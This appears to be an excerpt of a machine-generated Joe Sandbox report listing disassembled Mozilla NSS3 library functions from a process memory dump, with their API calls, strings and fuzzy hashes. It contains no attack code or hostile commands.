Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUNl$bUNl
API String ID: 326028414-129995972
Opcode ID: a80f196de2f91931be5dbfb91c6138edddd171f31c1c3920ba366dbcd9bd3d9f
Instruction ID: 950816ce02ed14d4177aa995cb5f5e35f71a8214c8f4cdf66e1c763524c5bf0e
Opcode Fuzzy Hash: a80f196de2f91931be5dbfb91c6138edddd171f31c1c3920ba366dbcd9bd3d9f
Instruction Fuzzy Hash: 694159B4A04605DFCB00EF69C484DAABBF0FF49345B028669EC599BB10EB30E855CBD5

Function 6C50ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C50DE64), ref: 6C50ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50ED22

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

PL_FreeArenaPool.NSS3(?), ref: 6C50ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C50ED6B
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C50ED38

Part of subcall function 6C444C70: TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
Part of subcall function 6C444C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
Part of subcall function 6C444C70: PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C50ED52
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C50ED83
PL_FreeArenaPool.NSS3(?), ref: 6C50ED95
PL_FinishArenaPool.NSS3(?), ref: 6C50ED9D

Part of subcall function 6C5264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C52127C,00000000,00000000,00000000), ref: 6C52650E

Strings

security, xrefs: 6C50ED06

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 5a9a4738172ef756605ccc5e44d0622a22400db6e6c0731e6f93b10baf8c1a22
Instruction ID: c07eaa10fabf3296b274a59c211c6dfbaca805c860be614a38155ae4403551c4
Opcode Fuzzy Hash: 5a9a4738172ef756605ccc5e44d0622a22400db6e6c0731e6f93b10baf8c1a22
Instruction Fuzzy Hash: 3A115173A00204ABE71097159C85FBB7374EF4174CF15092DE8D0A2E81FB69A90CC5D7

Function 6C5D0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C4B2357), ref: 6C5D0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C4B2357), ref: 6C5D0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C5D0EE6

Part of subcall function 6C5D09D0: PR_Now.NSS3 ref: 6C5D0A22
Part of subcall function 6C5D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C5D0A35
Part of subcall function 6C5D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C5D0A66
Part of subcall function 6C5D09D0: PR_GetCurrentThread.NSS3 ref: 6C5D0A70
Part of subcall function 6C5D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C5D0A9D
Part of subcall function 6C5D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C5D0AC8
Part of subcall function 6C5D09D0: PR_vsmprintf.NSS3(?,?), ref: 6C5D0AE8
Part of subcall function 6C5D09D0: EnterCriticalSection.KERNEL32(?), ref: 6C5D0B19
Part of subcall function 6C5D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C5D0B48
Part of subcall function 6C5D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C5D0C76
Part of subcall function 6C5D09D0: PR_LogFlush.NSS3 ref: 6C5D0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C5D0EFA

Part of subcall function 6C4BAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C4BAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C5D0ED9, 6C5D0EE5, 6C5D0F06, 6C5D0F0B
Aborting, xrefs: 6C5D0EB3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 1d1a66221c03a46604432197d69ef9bc072b515746d136c4d4824f002e20a53a
Instruction ID: c574866b0c7e47ec8db1ec9bfafac16aa74e99bb0fa8344a49e4209a8922dd25
Opcode Fuzzy Hash: 1d1a66221c03a46604432197d69ef9bc072b515746d136c4d4824f002e20a53a
Instruction Fuzzy Hash: 28F0A4B5900214BBDB007B659C8BC9F3E2DDF82265F004435FD0A56B02DA35E91596BB

Function 6C534DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C534DCB

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C534DE1

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C534DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C534E59

Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5F300C,00000000), ref: 6C534EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C534EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C534F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C53521A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 228f51627a91300b602621d1cfc127033ccacbe92c08ad11b1483016175d1a45
Instruction ID: da14ae115e5e37e87d450c6feb28bf721b303743355525669092a923902fe9f6
Opcode Fuzzy Hash: 228f51627a91300b602621d1cfc127033ccacbe92c08ad11b1483016175d1a45
Instruction Fuzzy Hash: 94F19C71E00219CBDB04CF54DC407AEBBB2BF84358F259169E919AB780E736E981CF90

Function 6C5118D0 Relevance: 16.7, APIs: 11, Instructions: 169COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C511926
EnterCriticalSection.KERNEL32 ref: 6C51193F
PR_Unlock.NSS3 ref: 6C511962
PR_Unlock.NSS3 ref: 6C511996
PK11_GetSlotInfo.NSS3 ref: 6C5119A5
TlsGetValue.KERNEL32 ref: 6C5119DC
EnterCriticalSection.KERNEL32 ref: 6C5119F5
PR_Unlock.NSS3 ref: 6C511A2D
TlsGetValue.KERNEL32 ref: 6C511A50
EnterCriticalSection.KERNEL32 ref: 6C511A69
PR_Unlock.NSS3 ref: 6C511ABC

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$calloc$InfoK11_Slot
String ID:
API String ID: 3878197720-0
Opcode ID: fe973defb160d726b4d104cc08702835eb3a3fa1ec3088c1aafb51c8cf33d09b
Instruction ID: 7c7a867b38ec77e947856e615b55bb7dd313b4abf05d7c42cda2ecf2cfc0585a
Opcode Fuzzy Hash: fe973defb160d726b4d104cc08702835eb3a3fa1ec3088c1aafb51c8cf33d09b
Instruction Fuzzy Hash: BC614975608B00CFEB50AF7AC98876ABBF0BF55318F11496DC89687E50DB34E885CB85

Function 6C4C4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C610148,?,6C4D6FEC), ref: 6C4C502A
PR_NewLock.NSS3(00000001,00000000,6C610148,?,6C4D6FEC), ref: 6C4C5034
PL_NewHashTable.NSS3(00000000,6C51FE80,6C51FD30,6C56C350,00000000,00000000,00000001,00000000,6C610148,?,6C4D6FEC), ref: 6C4C5055
PL_NewHashTable.NSS3(00000000,6C51FE80,6C51FD30,6C56C350,00000000,00000000,?,00000001,00000000,6C610148,?,6C4D6FEC), ref: 6C4C506D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: ba7199687fe9aeb60714d55d2827b912d823068cd577c9933d6519160583c7a8
Instruction ID: 20ee52f5404affcdc9a66977f53839107515df22ac7b8e7d75e3211480cabe0b
Opcode Fuzzy Hash: ba7199687fe9aeb60714d55d2827b912d823068cd577c9933d6519160583c7a8
Instruction Fuzzy Hash: 6F31C0B5B12210ABEB10DE678C8DF5B37B8AB12329F514125EF05C3B40D7789614DBEA

Function 6C462E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C462F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C462FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C463005
memcpy.VCRUNTIME140(?,?,?), ref: 6C4630EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C463131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C463178

Strings

database corruption, xrefs: 6C46316C
%s at line %d of [%.10s], xrefs: 6C463171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C463022, 6C463156, 6C463162, 6C46318A, 6C463196, 6C4631A2, 6C4631AE, 6C4631BA, 6C4631C6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 601502affb439aae8f3ee461220698e2f31f3ac4cd349921b4267a74e79301db
Instruction ID: 3fe1db7c6115807eab01539cc49a1450a4b25d9fe18dc7b0717e5bc13d7894cd
Opcode Fuzzy Hash: 601502affb439aae8f3ee461220698e2f31f3ac4cd349921b4267a74e79301db
Instruction Fuzzy Hash: 0EB1A270E05219DBCB18CF9EC884EEEBBB1BF49304F144429E845B7B49D775A942CBA4

Function 6C4B2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C4B2D69

Strings

winSeekFile, xrefs: 6C4B2E9C
winUnmapfile2, xrefs: 6C4B2F7F
winTruncate1, xrefs: 6C4B2EBE
winTruncate2, xrefs: 6C4B2EF8
]l, xrefs: 6C4B2DD0
@]l, xrefs: 6C4B2E24
winUnmapfile1, xrefs: 6C4B2F55
P]l, xrefs: 6C4B2E74, 6C4B2EC5, 6C4B2F32, 6C4B2F5C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: __allrem
String ID: @]l$P]l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$]l
API String ID: 2933888876-1018466445
Opcode ID: f2412feb2ee0db21b73f483d427f36cfc207682ef64df0b44ec86adc6f569301
Instruction ID: 4abcd55a5edde7cf439d9f0fb4448c7a9cb151d8396ab9aa6e53df56feb817c3
Opcode Fuzzy Hash: f2412feb2ee0db21b73f483d427f36cfc207682ef64df0b44ec86adc6f569301
Instruction Fuzzy Hash: 1D61BE71B002049FDB14CF69DC98EAA77B1FF49355F108229E915ABB90DB31AC06CBA4

Function 6C537F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C537FB2

Part of subcall function 6C4BBA40: TlsGetValue.KERNEL32 ref: 6C4BBA51
Part of subcall function 6C4BBA40: TlsGetValue.KERNEL32 ref: 6C4BBA6B
Part of subcall function 6C4BBA40: EnterCriticalSection.KERNEL32 ref: 6C4BBA83
Part of subcall function 6C4BBA40: TlsGetValue.KERNEL32 ref: 6C4BBAA1
Part of subcall function 6C4BBA40: _PR_MD_UNLOCK.NSS3 ref: 6C4BBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C537FD4

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

Part of subcall function 6C539430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C539466

PR_ExitMonitor.NSS3(?), ref: 6C53801B
PR_EnterMonitor.NSS3(?), ref: 6C538034
TlsGetValue.KERNEL32 ref: 6C5380A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5380C0
PR_ExitMonitor.NSS3(?), ref: 6C53811C
PR_ExitMonitor.NSS3(?), ref: 6C538134

Strings

), xrefs: 6C5380DB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 1503ab0530b4600e69386a68697ebc8778c26060da69b07ee3e87d71684ad3d4
Instruction ID: b077216839f078224fe382de5d5aef3a36ecd0948fdbc942ceddf78dab13b437
Opcode Fuzzy Hash: 1503ab0530b4600e69386a68697ebc8778c26060da69b07ee3e87d71684ad3d4
Instruction Fuzzy Hash: 735125B5A05724DBE7159F358C01BAB77B0AF4230CF08052ED95E96A52FB71A908C793

Function 6C4DFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C4DFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C4DFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C4DFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4DFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C4DFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C4DFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C4DFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DFD84

Strings

:, xrefs: 6C4DFD78

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: c58f9c7921677aad441d0b74d01ba0da8a827e04b30711b1d184e2d778232498
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 5331E4B69022059BFB20DEA4DC15FAFB7A8AF91718F160025DC15A7B00E771F918C7D2

Function 6C4C0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4C0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C4C0F84

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C4DF59B,6C5E890C,?), ref: 6C4C0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C4C0FC1

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C4C0FDB
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4C0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C4C1001
PL_FinishArenaPool.NSS3(?), ref: 6C4C1009

Strings

security, xrefs: 6C4C0F5C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a97fc1f1f7826faf14f8700e02834f294fa44cedd748ce20f1ca9f60c61b1c01
Instruction ID: e316992a87b7d4cef73831916e0538975694b9ec9b4e285387b9f1d359699531
Opcode Fuzzy Hash: a97fc1f1f7826faf14f8700e02834f294fa44cedd748ce20f1ca9f60c61b1c01
Instruction Fuzzy Hash: D92101B1904344AAE700DF25DC81EAAB7B4EF8825CF008519FC1896B51FB31E955CBD2

